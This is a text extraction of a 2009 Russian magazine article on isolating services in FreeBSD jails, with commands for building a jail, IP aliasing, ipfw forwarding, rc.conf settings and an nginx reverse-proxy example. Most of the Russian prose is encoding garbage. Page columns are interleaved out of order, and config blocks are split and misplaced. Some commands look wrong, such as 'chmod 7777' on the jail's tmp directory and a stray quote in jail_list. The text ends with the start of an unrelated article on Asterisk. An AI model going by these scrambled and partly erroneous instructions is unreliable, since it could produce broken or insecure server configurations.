ЗА РЕШЕТКОЙ Тåõíîëîãèÿ jail áàçèðóåòñÿ íà<br />

ñèñòåìíîì âûçîâå chroot, íî îòëè÷àåòñÿ òåì,<br />

÷òî ñóùåñòâåííî îãðàíè÷èâàåò ñóïåðïîëüçîâàòåëÿ<br />

â ïðàâàõ. Íàõîäÿñü «çà ðåøåòêîé», root íå<br />

èìååò ïðàâ:<br />

1. Çàãðóæàòü ìîäóëè ÿäðà è êàêèì-ëèáî îáðàçîì<br />

ìîäèôèöèðîâàòü ÿäðî (íàïðèìåð, ÷åðåç /dev/<br />

kmem).<br />

2. Èçìåíÿòü ïåðåìåííûå ÿäðà (çà èñêëþ÷åíèåì<br />

kern.securelevel è kern.hostname).<br />

3. Ñîçäàâàòü ôàéëû óñòðîéñòâ.<br />

4. Ìîíòèðîâàòü è äåìîíòèðîâàòü ôàéëîâûå ñèñòåìû.<br />

5. Èçìåíÿòü ñåòåâûå êîíôèãóðàöèè.<br />

6. Ñîçäàâàòü raw ñîêåòû (ïîâåäåíèå íàñòðàèâàåòñÿ).<br />

7. Ïîëó÷àòü äîñòóï ê ñåòåâûì ðåñóðñàì, íå àññîöèèðîâàííûì<br />

ñ IP-àäðåñîì jail’à.<br />

8. Ðàáîòàòü ñ System V IPC (ïîâåäåíèå íàñòðàèâàåòñÿ).<br />

9. Ïðèñîåäèíÿòüñÿ ê ïðîöåññó è èñïîëüçîâàòü<br />

ptrace(2).<br />

 jail ñóïåðïîëüçîâàòåëü ïðåâðàùàåòñÿ â êàïðèçíîãî<br />

ðåáåíêà, êîòîðûé, õîòü è íå ìîæåò<br />

íàâðåäèòü êîðíåâîé ñèñòåìå, áåç îñîáûõ ïðîáëåì<br />

ââåäåò ÎÑ â ñòóïîð ïîëíîé íàãðóçêîé íà<br />

ïðîöåññîð èëè ñîæðåò âñþ äîñòóïíóþ ïàìÿòü.<br />

Ê ñîæàëåíèþ, ïðîòèâ ïîäîáíîãî âàíäàëèçìà çàùèòû<br />

ïîêà íåò. Êàê íåò è ïðîòèâ òåõ, êòî çàõî÷åò<br />

èñïîëüçîâàòü èçîëèðîâàííûé ñåðâèñ â êîðûñòíûõ<br />

öåëÿõ, áóäü òî ðàññûëêà ñïàìà èëè õðàíèëèùå<br />

âàðåçà. Òþðüìà îòëè÷íî ðåøàåò ïðîáëåìó<br />

ïðîíèêíîâåíèÿ â îñíîâíóþ ñèñòåìó, íî ñàìà ïî<br />

ñåáå àáñîëþòíî áåççàùèòíà.<br />

Ïåðåä òåì, êàê ïîìåñòèòü âûáðàííûé ñåðâèñ â<br />

jail, ìû äîëæíû ñîçäàòü äëÿ íåãî âñå íåîáõîäèìûå<br />

óñëîâèÿ, ýäàêóþ øâåéöàðñêóþ òþðüìó,<br />

ãäå êîìôîðòíî, êàê äîìà. Äëÿ ýòîãî âíóòðü âûáðàííîãî<br />

êàòàëîãà íåîáõîäèìî ïîìåñòèòü ìèíèìàëüíóþ<br />

êîïèþ êîðíåâîé ñèñòåìû, — ÷òîáû<br />

ñåðâèñ ñìîã íàéòè íåîáõîäèìûå åìó êàòàëîãè,<br />

áèáëèîòåêè è êîíôèãóðàöèîííûå ôàéëû (îêðóæåíèå<br />

èñïîëíåíèÿ). Ñàìûé ïðîñòîé ïóòü —<br />

ïðîñòî ñêîïèðîâàòü âñå íåîáõîäèìîå èç ñóùåñòâóþùåé<br />

ñèñòåìû, íî îí ÷ðåâàò îøèáêàìè, è åñòü<br />

ðèñê ïîëó÷èòü «ãðÿçíîå» îêðóæåíèå, êîòîðîå<br />

îòðàçèò íåêîòîðûå àñïåêòû ðåàëüíîé ñèñòåìû<br />

è ïîìîæåò âçëîìùèêó. Ïîýòîìó ëó÷øå ñîáðàòü<br />

«÷èñòîå» îêðóæåíèå èç èñõîäíûõ òåêñòîâ è óñòàíîâèòü<br />

â âûáðàííûé êàòàëîã. Òàê ñåðâèñ ïîëó-<br />

÷èò ñðåäó â äåôîëòîâîé êîíôèãóðàöèè, íè÷åãî<br />

íå ãîâîðÿùåé î ñîñòîÿíèè ðåàëüíîé ñèñòåìû.<br />

110<br />

XÀÊÅÐ 04 /124/ 09


SYN/ACK<br />

FreeBSD<br />

Jail<br />

ШАГ 1. СОЗДАНИЕ JAIL-ОКРУЖЕНИЯ<br />

Ïåðåõîäèì â êàòàëîã /usr/src è âûïîëíÿåì ñëåäóþùóþ<br />

ïîñëåäîâàòåëüíîñòü êîìàíä:<br />

# JAIL=/usr/jail/base<br />

# mkdir -p $JAIL<br />

# make world DESTDIR=$JAIL<br />

# make distribution DESTDIR=$JAIL<br />

# mount -t devfs devfs $JAIL/dev<br />

Ïîñëå èõ èñïîëíåíèÿ êàòàëîã /usr/jail/base<br />

áóäåò ñîäåðæàòü ÷èñòîå áàçîâîå îêðóæåíèå<br />

FreeBSD, âêëþ÷àÿ âèðòóàëüíóþ ôàéëîâóþ ñèñòåìó<br />

/dev.<br />

ШАГ 2. НАСТРОЙКА КОРНЕВОЙ СИСТЕМЫ<br />

Èäåì äàëüøå. Jail-îêðóæåíèÿ âî FreeBSD ðåàëèçîâàíû<br />

÷åðåç ïðèâÿçêó ê IP-ïñåâäîíèìàì<br />

ñåòåâûõ èíòåðôåéñîâ, ïîýòîìó, âî-ïåðâûõ, ìû<br />

äîëæíû íàçíà÷èòü àëèàñ èíòåðôåéñó, ñìîòðÿùåìó<br />

«íàðóæó», à âî-âòîðûõ, ñäåëàòü òàê, ÷òîáû<br />

ñåðâèñû êîðíåâîé ñèñòåìû ñëóøàëè ïîðòû<br />

òîëüêî íà ñâîåì IP è «ïðîïóñêàëè ìèìî óøåé»<br />

òðàôèê, ïðåäíàçíà÷åííûé ñåðâèñó â jail.<br />

IP-ïñåâäîíèìû äëÿ ñåòåâûõ èíòåðôåéñîâ íàçíà-<br />

÷àþòñÿ ñ ïîìîùüþ êîìàíäû:<br />

# ifconfig ed0 inet alias<br />

192.168.0.1/16<br />

×òîáû êîìàíäà èñïîëíÿëàñü âî âðåìÿ çàãðóçêè,<br />

äîáàâëÿåì åå â /etc/rc.conf:<br />

# echo "ifconfig_ed0_alias0=\"inet<br />

192.168.0.1\"" >> /etc/rc.conf<br />

Íè÷åãî ñòðàøíîãî, åñëè â òâîåì ðàñïîðÿæåíèè<br />

íåò âòîðîãî ãëîáàëüíî ìàðøðóòèçèðóåìîãî<br />

IP-àäðåñà, — ïîäîéäåò ëþáîé àäðåñ èç ÷àñòíîãî<br />

äèàïàçîíà (10.0.0.0/8, 172.16.0.0/12,<br />

192.168.0.0/16), òðàôèê íà êîòîðûé ìû çàâåðíåì<br />

ñ ïîìîùüþ áðàíäìàóýðà.<br />

Òåïåðü î íàñòðîéêå ñåðâèñîâ êîðíåâîé ñèñòåìû.<br />

Åñëè òû âñå-òàêè ðåøèë ïðèâÿçàòü jail êî âòîðîìó<br />

âíåøíåìó IP-àäðåñó, ñîçäàâ êàê áû èëëþçèþ<br />

âòîðîãî ñåðâåðà â ñåòè, òåáå ïðèäåòñÿ íàñòðîèòü<br />

âñå ñåðâèñû êîðíåâîé ñèñòåìû íà ïðîñëóøèâàíèå<br />

òîëüêî ïåðâîãî IP-àäðåñà. Èíà÷å ìîæíî<br />

ïîéìàòü êîíôëèêòû ìåæäó ïðèëîæåíèÿìè,<br />

ñëóøàþùèìè îäèí ïîðò (íàïðèìåð, ssh âíóòðè<br />

òþðüìû è â êîðíåâîé ñèñòåìå). Â áîëüøèíñòâå<br />

XÀÊÅÐ 04 /124/ 09<br />

111


SYN/ACK<br />

info<br />

• Чтобы научить ipfw<br />

делать fwd, придется<br />

пересобрать ядро<br />

с опцией<br />

IPFIREWALL_<br />

FORWARD.<br />

Переменные, влияющие на jail-окружения<br />

• В следующем номере<br />

мы рассмотрим,<br />

как на основе jail поднять<br />

сервис по сдаче<br />

в аренду виртуальных<br />

FreeBSD-машин.<br />

Не пропусти!<br />

ñëó÷àåâ ñäåëàòü ýòî ìîæíî ÷åðåç ðåäàêòèðîâàíèå êîíôèãóðàöèîííîãî<br />

ôàéëà èëè ïóòåì óêàçàíèÿ ñïåöèàëüíûõ ôëàãîâ:<br />

# echo "inetd_flags=\"-wW -a \"">> /etc/rc.conf<br />

Ê íåñ÷àñòüþ, íåêîòîðûå ñåðâèñû (rpcbind, nfsd, mountd) íå<br />

ïîçâîëÿþò óêàçàòü ïðîñëóøèâàåìûé èìè IP-àäðåñ, ïîýòîìó<br />

ïîñòàðàéñÿ íå çàïóñêàòü èõ â áàçîâîé ñèñòåìå è jail-îêðóæåíèè<br />

îäíîâðåìåííî. Ñ ëîêàëüíûì IP-àäðåñîì ýòîãî äåëàòü íå<br />

ïðèäåòñÿ, òàê êàê jail-ñåðâèñû èçâíå äîñòóïíû íå áóäóò. Çàòî<br />

ïðèäåòñÿ ïîçàáîòèòüñÿ îá îðãàíèçàöèè ôîðâàðäèíãà ñ ïîìîùüþ<br />

áðàíäìàóýðà (ïðèìåð äëÿ ssh):<br />

# ipfw add fwd 192.168.0.1,22 tcp from any to<br />

âíåøíèé-ip 22<br />

ШАГ 3. НАСТРОЙКА JAIL-ОКРУЖЕНИЯ<br />

Ðàáîòàþùåå jail-îêðóæåíèå ïðåäñòàâëÿåò ñîáîé ïî÷òè òî÷íóþ<br />

êîïèþ íàñòîÿùåé FreeBSD è äàæå çàãðóæàåòñÿ ÷åðåç<br />

çàïóñê ñòàðòîâîãî ñêðèïòà /etc/rc. Â òî æå âðåìÿ âíóòðè jail<br />

äåéñòâóþò ñâîè îãðàíè÷åíèÿ è îñîáûå ïðàâèëà, êîòîðûå íåîáõîäèìî<br />

ó÷èòûâàòü. Ïîýòîìó âõîäèì â òþðüìó:<br />

sendmail_enable="NO"<br />

sendmail_submit_enable="NO"<br />

sendmail_outbound_enable="NO"<br />

sendmail_msp_queue_enable="NO"<br />

sshd_enable="YES"<br />

Ïîñëå òîãî, êàê âñå áóäåò ñäåëàíî, âûõîäèì èç îêðóæåíèÿ,<br />

íàáðàâ exit èëè íàæàâ .<br />

 ñëó÷àå èñïîëüçîâàíèÿ ëîêàëüíîãî IP-àäðåñà äëÿ òþðüìû,<br />

åãî ñåòåâîå èìÿ ìîæåò áûòü ëþáûì. Íî åñëè jail ïðèâÿçàí ê<br />

âíåøíåìó IP, ïîòðåáóåòñÿ, êîíå÷íî æå, âûáðàòü íàñòîÿùåå<br />

äîìåííîå èìÿ, ïðîïèñàííîå â DNS-çîíàõ.<br />

Ïðèìåð èëëþñòðèðóåò çàïóñê ssh-ñåðâåðà âíóòðè jail-îêðóæåíèÿ,<br />

íî ÷òî, åñëè íóæíîãî ñåðâèñà íåò â áàçîâîì äèñòðèáóòèâå?<br />

Ïðîùå âñåãî — óêàçàòü ïóòü óñòàíîâêè ÷åðåç ïåðåìåííóþ<br />

PREFIX âî âðåìÿ óñòàíîâêè ïîðòà:<br />

# make PREFIX=/usr/jail/base make install clean<br />

Äëÿ ïàêåòîâ:<br />

# pkg_add -P /usr/jail/base ïàêåò-1.0.0.tbz<br />

Äëÿ ïîëüçîâàòåëåé portinstall:<br />

112<br />

# jail /usr/jail/base base.jail 192.168.0.1 /<br />

bin/sh<br />

È âûïîëíÿåì ïîñëåäîâàòåëüíîñòü äåéñòâèé:<br />

1. Ñîçäàåì ïóñòîé ôàéë fstab (touch /etc/fstab), ÷òîáû ñêðèïòû<br />

èíèöèàëèçàöèè íå ðóãàëèñü íà åãî îòñóòñòâèå.<br />

2. Óñòàíàâëèâàåì ïàðîëü äëÿ ñóïåðïîëüçîâàòåëÿ (passwd<br />

root) è ñîçäàåì, ïî íåîáõîäèìñòè, äîïîëíèòåëüíûõ ïîëüçîâàòåëåé.<br />

3. Ïåðåñòðàèâàåì áàçó ïî÷òîâûõ ïñåâäîíèìîâ (newaliases),<br />

åñëè õîòèì èñïîëüçîâàòü sendmail.<br />

4. Íàñòðàèâàåì âðåìåííóþ çîíó (tzsetup).<br />

5. Ðåäàêòèðóåì /etc/resolv.conf òàêèì îáðàçîì, ÷òîáû ñåðâèñû,<br />

çàïóùåííûå âíóòðè jail’à, ìîãëè âûïîëíÿòü DNS-ðåçîëâèíã.<br />

Ìîæíî óêàçàòü àäðåñ õîñò-ñèñòåìû, åñëè â íåé çàïóùåí<br />

êýøèðóþùèé DNS-ñåðâåð.<br />

6. Äîáàâëÿåì â /etc/rc.conf ñëåäóþùèå ñòðîêè:<br />

# vi /etc/rc.conf<br />

// Ñåòåâîå èìÿ jail-îêðóæåíèÿ<br />

hostname="base.jail"<br />

// Îòêëþ÷àåì êîíôèãóðèðîâàíèå ñåòåâûõ èíòåðôåéñîâ<br />

(îíè âèðòóàëüíûå)<br />

network_interfaces=""<br />

// Âêëþ÷àåì/îòêëþ÷àåì íåîáõîäèìûå ñåðâèñû<br />

# PREFIX=/usr/jail/base portinstall -P ïàêåò<br />

Ê ñîæàëåíèþ, â íåêîòîðûõ ñëó÷àÿõ ïðÿìîå óêàçàíèå ïóòè<br />

óñòàíîâêè íå ïîäõîäèò. Íàïðèìåð, òû ìîæåøü ïîäíÿòü ìíîæåñòâî<br />

jail-ñåðâåðîâ íà áûñòðîé ìàøèíå è ïðåäëàãàòü ëþäÿì<br />

óñëóãè ïî ïðåäîñòàâëåíèþ â àðåíäó âûäåëåííîãî ñåðâåðà<br />

FreeBSD, ñ êîòîðûì îíè ñìîãóò äåëàòü âñå, ÷òî çàõîòÿò. È åñëè<br />

òû íå ïîçâîëèøü êëèåíòàì ñàìîñòîÿòåëüíî óñòàíàâëèâàòü<br />

ñòîðîííåå ÏÎ ÷åðåç ïîðòû, èõ ïîòîê âñêîðå èññÿêíåò. Ïðîñòîé<br />

ñïîñîá èçáåæàòü ýòîãî — ñêîïèðîâàòü ïîðòû èç áàçîâîé<br />

ñèñòåìû â êàæäîå èç jail-îêðóæåíèé. Íî ýòî î÷åíü ãðóáûé<br />

ïîäõîä, ðàñõîäóþùèé äèñêîâîå ïðîñòðàíñòâî è îòíèìàþùèé<br />

âðåìÿ íà ñèíõðîíèçàöèþ ñ íîâûì äåðåâîì ïîðòîâ. Ãîðàçäî<br />

ïðîùå è ðàçóìíåå ïðèìåíèòü âèðòóàëüíûå ôàéëîâûå<br />

ñèñòåìû âðîäå unionfs è nullfs äëÿ ìîíòèðîâàíèÿ êàòàëîãà /<br />

usr/ports êî âñåì òþðüìàì:<br />

èëè<br />

# mount_unionfs /usr/ports /usr/jail/base/usr/ports<br />

# mount_nullfs /usr/ports /usr/jail/base/usr/ports<br />

ШАГ 4. ЗАПУСК JAIL-ОКРУЖЕНИЯ<br />

Âñå ïîäãîòîâèòåëüíûå ðàáîòû âûïîëíåíû, îñòàëîñü òîëüêî<br />

XÀÊÅÐ 04 /124/ 09


SYN/ACK<br />

Man jail: отличное руководство по управлению jailокружениями<br />

Сервисы, помещенные в jail, могут общаться с корневой<br />

системой через loopback-интерфейс<br />

çàïóñòèòü ãîòîâûé âèðòóàëüíûé jail-ñåðâåð. Äëÿ ýòîãî äîáàâëÿåì â /etc/<br />

rc.conf ñëåäóþùèå ñòðîêè:<br />

# vi /etc/rc.conf<br />

jail_enable="YES"<br />

// Ñïèñîê jail-îêðóæåíèé<br />

jail_list="base»"<br />

// Ñòàíäàðòíûå îïöèè jail<br />

jail_base_rootdir="/usr/jail/base"<br />

jail_base_hostname="base.jail"<br />

jail_base_ip="192.168.0.1"<br />

jail_base_interface="de0"<br />

// Êîìàíäû çàïóñêà è îñòàíîâêè<br />

jail_base_exec_start="/bin/sh /etc/rc"<br />

jail_base_exec_stop="/bin/sh /etc/rc.shutdown"<br />

// Êàêèå ÔÑ ìîíòèðîâàòü?<br />

jail_base_devfs_enable="YES"<br />

jail_base_fdescfs_enable="NO"<br />

jail_base_procfs_enable="NO"<br />

è çàïóñêàåì:<br />

# /etc/rc.d/jail start base<br />

Ñïèñîê çàïóùåííûõ jail-îêðóæåíèé âñåãäà äîñòóïåí ïî êîìàíäå /usr/<br />

sbin/jls. Ïðîöåññû, çàêëþ÷åííûå â òþðüìó, îòîáðàæàþòñÿ â âûâîäàõ ps è<br />

top. Èõ îòëè÷èòåëüíàÿ ÷åðòà — ôëàã ‘J’.<br />

КАК ЭТО ДЕЛАЮТ ДЖЕДАИ<br />

Âûøå áûë îïèñàí «îôèöèàëüíûé» ñïîñîá ñîçäàíèÿ jail-îêðóæåíèé, ïîäõîäÿùèé<br />

ïî÷òè äëÿ âñåõ ñëó÷àåâ. Åãî äîñòîèíñòâà â óíèâåðñàëüíîñòè è<br />

îòíîñèòåëüíîé ïðîñòîòå ðàçâåðòûâàíèÿ âèðòóàëüíîãî ñåðâåðà. Ñ äðóãîé<br />

ñòîðîíû, äëÿ åäèíè÷íîãî ñåðâèñà, ïîìåùåííîãî â òþðüìó, ïîëíîå<br />

îêðóæåíèå èñïîëíåíèÿ — ÿâíîå èçëèøåñòâî, ñúåäàþùåå ñâîáîäíîå<br />

ïðîñòðàíñòâî è íåñóùåå óãðîçó áåçîïàñíîñòè. Âçëîìùèê, ïðîíèêøèé<br />

â òþðüìó, ïîëó÷èò â ðàñïîðÿæåíèå öåëüíóþ îïåðàöèîííóþ ñèñòåìó ñ<br />

êîìàíäíûì èíòåðïðåòàòîðîì, êîìïèëÿòîðîì, ssh-ñåðâåðîì è ìàññîé<br />

äðóãèõ ïîäñîáíûõ óòèëèò. Ñòîèò ëè ãîâîðèòü, ÷åì ãðîçèò òàêàÿ ñâîáîäà<br />

âûáîðà?<br />

Ãëàâíîå ïðàâèëî, êîòîðûì ñëåäóåò ðóêîâîäñòâîâàòüñÿ ïðè ñîçäàíèè<br />

ðàçíîãî ðîäà ïåñî÷íèö, òþðåì è âèðòóàëüíûõ ñåðâåðîâ — «÷åì ïðîùå,<br />

òåì ëó÷øå». Ïî âîçìîæíîñòè èç îêðóæåíèÿ ñëåäóåò óáðàòü âñå,<br />

÷òî íå âëèÿåò íà ðàáîòó ñåðâèñà, âêëþ÷àÿ áèáëèîòåêè, êîíôèãóðàöèîííûå<br />

ôàéëû è, â îñîáåííîñòè, ðàçëè÷íûå ïîäñîáíûå óòèëèòû è<br />

êîíñîëüíûå êîìàíäû âðîäå ls, cd è sh. Îòäåëüíîìó ñåðâèñó íå íóæíà<br />

XÀÊÅÐ 04 /124/ 09<br />

øâåéöàðñêàÿ òþðüìà ñ óäîáñòâàìè, åìó áîëüøå ïîäîéäåò ðóññêàÿ<br />

çîíà. Äëÿ èëëþñòðàöèè òîãî, êàê âñå ýòî ïðîäåëàòü â ðåàëüíûõ óñëîâèÿõ,<br />

ðàññìîòðèì ïðîöåññ ïîìåùåíèÿ nginx, ðàáîòàþùåãî â ðåæèìå<br />

reverse-proxy, âíóòðü jail. Ïðåäñòàâèì, ÷òî ó íàñ åñòü apache, ðàáîòàþùèé<br />

â êîðíåâîé ñèñòåìå è ñëóøàþùèé ïîðò 8080. Çàäà÷à: ïîìåñòèòü<br />

ïåðåä íèì nginx, ñëóøàþùèé 80-é ïîðò è ïåðåíàïðàâëÿþùèé çàïðîñû<br />

ê apache. ×òîáû îáåçîïàñèòü apache, ìû ðåøàåì ïîìåñòèòü nginx â<br />

jail. Êàê ýòî ñäåëàòü? Äëÿ íà÷àëà ñîçäàäèì äëÿ íàøåé òþðüìû êàòàëîã<br />

è óñòàíîâèì òóäà nginx (çäåñü è äàëåå ïðèâåäåíû êîìàíäû äëÿ bash):<br />

# JAIL=/usr/jail/nginx<br />

# mkdir -p $JAIL<br />

# cd /usr/ports/www/nginx<br />

# make PREFIX=$JAIL install clean<br />

Âûÿñíèì, êàêèå áèáëèîòåêè íóæíû nginx äëÿ ðàáîòû:<br />

# ldd $JAIL/sbin/nginx<br />

È ñêîïèðóåì èõ â êàòàëîã /usr/jail/nginx/lib:<br />

# mkdir -p $JAIL/lib<br />

# LIBS='ldd $JAIL/sbin/nginx|grep -v ':$'|cut -f 3 -d " "'<br />

# for LIB in $LIBS; do cp $LIB $JAIL/lib; done<br />

Êðîìå òîãî, íåîáõîäèìî ñêîïèðîâàòü è íàñòðîèòü ëèíêîâùèê ld-elf.so.1,<br />

áåç íåãî íå çàïóñòèòñÿ íè îäèí èñïîëíÿåìûé ôàéë:<br />

# mkdir -p $JAIL/libexec<br />

# cp /libexec/ld-elf.so.1 $JAIL/libexec<br />

# mkdir -p $JAIL/var/run<br />

# ldconfig -s -f $JAIL/var/run/ld-elf.so.hints $JAIL/lib<br />

Çàâåäåì ïîëüçîâàòåëÿ è ãðóïïó www:<br />

# echo 'www:*:80:80::0:0:World Wide Web Owner:/<br />

nonexistent:/usr/sbin/nologin' > $JAIL/etc/passwd<br />

# cp $JAIL/etc/{passwd,master.passwd}<br />

# pwd_mkdb -d $JAIL/etc $JAIL/etc/master.passwd<br />

# echo 'www:*:80:' > $JAIL/etc/group<br />

Ñîçäàäèì êàòàëîãè, íåîáõîäèìûå äëÿ íîðìàëüíîé ðàáîòû ñåðâèñà:<br />

# mkdir -p $JAIL/var/{log,tmp/nginx}<br />

# chown 80:80 $JAIL/var/tmp/nginx<br />

113


ХАКЕР.PRO<br />

SYN/ACK<br />

Ïàðà ñëîâ îá nginx<br />

Nginx (engine x) — âûñîêîïðîèçâîäèòåëüíûé è íåòðåáîâàòåëüíûé<br />

ê ðåñóðñàì HTTP-ñåðâåð è ïî÷òîâûé ïðîêñè. Îáû÷íî èñïîëüçóåòñÿ<br />

â êà÷åñòâå HTTP-àêñåëåðàòîðà, ïåðåäàþùåãî âñå çàïðîñû<br />

ê apache, èëè ëåãêîâåñíîãî ñåðâåðà äëÿ îòäà÷è ñòàòè÷åñêîãî<br />

êîíòåíòà. Ïðèìåíÿåòñÿ íà wordpress.com è áîëüøèíñòâå ñåðâåðîâ<br />

Ðàìáëåðà. Ðàçðàáàòûâàåòñÿ Èãîðåì Ñûñîåâûì ñ 2002-ãî ãîäà.<br />

# mkdir $JAIL/{dev,tmp}<br />

# chmod 7777 $JAIL/tmp<br />

Ñìîíòèðóåì ôàéëîâóþ ñèñòåìó devfs:<br />

# mount -t devfs devfs $JAIL/dev<br />

Ñîçäàäèì IP-ïñåâäîíèì è íàñòðîèì áðàíäìàóýð íà ðåäèðåêò HTTP-òðàôèêà<br />

íà IP-àäðåñ òþðüìû:<br />

# ifconfig ed0 inet alias 192.168.0.1/16<br />

# ipfw add fwd 192.168.0.1,80 tcp from any to âíåøíèé-ip 80<br />

Îòêðîåì êîíôèãóðàöèîííûé ôàéë nginx è ïðèâåäåì ñåêöèþ server ê ñëåäóþùåìó<br />

âèäó:<br />

# vi /usr/jail/nginx/etc/nginx/nginx.conf<br />

server {<br />

listen 80;<br />

server_name www.host.ru;<br />

location / {<br />

proxy_pass http://127.0.0.1:8080/;<br />

proxy_redirect off;<br />

proxy_set_header Host $host;<br />

proxy_set_header X-Real-IP $remote_addr;<br />

proxy_set_header X-Forwarded-For $proxy_add_x_<br />

forwarded_for;<br />

client_max_body_size 10m;<br />

client_body_buffer_size 128k;<br />

Ïåðåìåííûå sysctl,<br />

î êîòîðûõ íóæíî<br />

çíàòü<br />

1 security.jail.set_hostname_allowed — ìîæåò ëè jail-ñóïåðïîëüçîâàòåëü<br />

èçìåíÿòü ñåòåâîå èìÿ (hostname) jail-ñåðâåðà. Èìååò<br />

ñìûñë îòêëþ÷èòü, åñëè äëÿ òþðüìû âûäåëåíî íàñòîÿùåå ñåòåâîå<br />

èìÿ, ïðîïèñàííîå â DNS-çîíàõ. 2 security.jail.allow_raw_sockets —<br />

ðàçðåøèòü jail-ñóïåðïîëüçîâàòåëþ ñîçäàâàòü raw-ñîêåòû. Â öåëÿõ<br />

áåçîïàñíîñòè îïöèÿ îòêëþ÷åíà, íî îíà ìåøàåò ïðàâèëüíîé ðàáîòå<br />

íåêîòîðûõ èíñòðóìåíòîâ, ïðåäíàçíà÷åííûõ äëÿ îòëàäêè ñåòè.<br />

3 security.jail.chflags_allowed — ïîçâîëèòü jail-ïðîöåññàì ìîäèôèöèðîâàòü<br />

ôëàãè ÔÑ (chflags). Ïî óìîë÷àíèþ âûêëþ÷åíà, ÷òî<br />

îòêðûâàåò èíòåðåñíûå âîçìîæíîñòè äëÿ ïîìåùåíèÿ â jail íåóäàëÿåìûõ,<br />

íå÷èòàåìûõ èëè íåçàïèñûâàåìûõ ôàéëîâ.<br />

×òîáû nginx ñòàðòîâàë ïðè çàãðóçêå, äîáàâèì â /etc/rc.conf ñëåäóþùå<br />

çàïèñè:<br />

# vi /etc/rc.conf<br />

ifconfig_ed0_alias0="inet 192.168.0.1"<br />

jail_enable="YES"<br />

jail_list="nginx"<br />

jail_nginx_rootdir="/usr/jail/nginx"<br />

jail_nginx_hostname="nginx.jail"<br />

jail_nginx_ip="192.168.0.1"<br />

// Ïîëíàÿ èíèöèàëèçàöèÿ îêðóæåíèÿ íå íóæíà, äîñòàòî÷íî<br />

ñðàçó çàïóñòèòü ñåðâèñ<br />

jail_nginx_exec_start="/sbin/nginx -c /etc/nginx/nginx.<br />

conf"<br />

// Îñòàíàâëèâàòü nginx âðó÷íóþ òàêæå íå òðåáóåòñÿ, ïåðåä<br />

çàâåðøåíèåì ðàáîòû jail àêêóðàòíî óáüåò âñå ñâîè ïðîöåññû<br />

ñ ïîìîùüþ kill<br />

jail_nginx_exec_stop=""<br />

// Íàì ïîíàäîáèòñÿ òîëüêî devfs<br />

jail_nginx_devfs_enable="YES"<br />

jail_nginx_fdescfs_enable="NO"<br />

jail_nginx_procfs_enable="NO"<br />

}<br />

}<br />

114<br />

proxy_connect_timeout 90;<br />

proxy_send_timeout 90;<br />

proxy_read_timeout 90;<br />

proxy_buffer_size 4k;<br />

proxy_buffers 4 32k;<br />

proxy_busy_buffers_size 64k;<br />

proxy_temp_file_write_size 64k;<br />

Ó÷òè, ÷òî õèòðàÿ ñèñòåìà ïîðòîâ èçìåíèëà äåôîëòîâûå ïóòè ïîèñêà ôàéëîâ â<br />

nginx, äîáàâèâ ê íèì ïðåôèêñ /usr/jail/nginx. Ïîýòîìó âñå îòíîñèòåëüíûå ïóòè<br />

â ôàéëå êîíôèãóðàöèè ïðèäåòñÿ çàìåíèòü íà àáñîëþòíûå, òî åñòü — ïðîïèñàòü<br />

âìåñòî «include mime.types;» ñòðîêó «include /etc/nginx/mime.types;». Âñå,<br />

òåïåðü âèðòóàëüíûé ñåðâåð ñ nginx ìîæíî çàïóñòèòü (îïöèÿ ‘-c’ ïîçâîëÿåò ïåðåïèñàòü<br />

íåâåðíûé äåôîëòîâûé ïóòü ïîèñêà êîíôèãóðàöèîííîãî ôàéëà):<br />

# jail /usr/jail/nginx nginx.jail 192.168.0.1 /sbin/nginx<br />

-c /etc/nginx/nginx.conf<br />

Ïî îïèñàííîé ñõåìå â òþðüìó ìîæíî ïîñàäèòü ïðàêòè÷åñêè ëþáîé ñåðâèñ,<br />

íå îòÿãîùåííûé ìíîæåñòâîì çàâèñèìîñòåé.  íåêîòîðûõ ñëó÷àÿõ<br />

ïðèäåòñÿ ïîâîçèòüñÿ ñ ñîçäàíèåì ôàéëîâ è êàòàëîãîâ, à òàêæå ñ îòñëåæèâàíèåì<br />

íåîáõîäèìûõ áèáëèîòåê (íåêîòîðûå ñåòåâûå ñåðâåðû, íàïðèìåð<br />

sshd, çàãðóæàþò áèáëèîòåêè âî âðåìÿ èñïîëíåíèÿ, òàê ÷òî ldd ïîêàæåò íå<br />

âñå, è ïðèäåòñÿ âîñïîëüçîâàòüñÿ lsof). Ïðîáëåìó òàêæå ïðåäñòàâëÿåò /dev.<br />

Âåñüìà îïðîìåò÷èâî îòêðûâàòü âñå ôàéëû ýòîãî êàòàëîãà íà ÷òåíèå, à óæ<br />

òåì áîëåå, íà çàïèñü, — ïîýòîìó äëÿ ðåãóëèðîâàíèÿ ïðàâ äîñòóïà íåîáõîäèìî<br />

èñïîëüçîâàòü ñïåöèàëüíûå íàñòðîéêè devfs. Ôàéë /etc/defaults/<br />

devfs.rules ñîäåðæèò áàçîâûå ïðàâèëà devfs äëÿ jail. Ïî óìîë÷àíèþ îí îòêðûâàåò<br />

äîñòóï ê ïîäñîáíûì ñèíòåòè÷åñêèì ôàéëàì, òàêèì êàê /dev/<br />

null è /dev/random, à òàêæå ïñåâäîòåðìèíàëàì. Äëÿ áîëüøèíñòâà êîíôèãóðàöèé<br />

íàñòðîéêè äàæå íå ïðèäåòñÿ ðåäàêòèðîâàòü, äîñòàòî÷íî ñêîïèðîâàòü<br />

ôàéë â êàòàëîã /etc è äîáàâèòü â /etc/rc.conf ñëåäóþùóþ çàïèñü:<br />

jail_èìÿ_devfs_ruleset="devfsrules_jail"<br />

Åñëè æå ïîíàäîáÿòñÿ äîïîëíèòåëüíûå ôàéëû óñòðîéñòâ, òî devfs.rules<br />

ëåãêî îòðåäàêòèðîâàòü, äîáàâèâ íåîáõîäèìûå ïðàâèëà. Ñèíòàêñèñ ôàéëà<br />

è ïðàâèë îïèñàíû íà man-ñòðàíèöàõ devfs(8) è devfs.rules(5). z<br />

XÀÊÅÐ 04 /124/ 09


SYN/ACK<br />

SERGEY JAREMCHUK<br />

FEAT ANDREY MATVEEV<br />

Звездное<br />

попурри<br />

Фокусничаем с IP-PBX Asterisk<br />

Сервер телефонии Asterisk обладает поистине колоссальными возможностями<br />

обеспечения переговоров по IP-сетям, заменяя обычную<br />

офисную АТС при большей функциональности и меньшей цене. Но<br />

Asterisk — это еще и необычайно гибкая система, предоставляющая<br />

широкое поле для творчества. Немного фантазии, и можно реализовать<br />

практически любую функцию, не предусмотренную разработчиками.<br />

>> SYN/ACK<br />

СИСТЕМА ВИДЕОНАБЛЮДЕНИЯ С ОПОВЕЩЕНИЕМ Îäíà èç ÷àñòî<br />

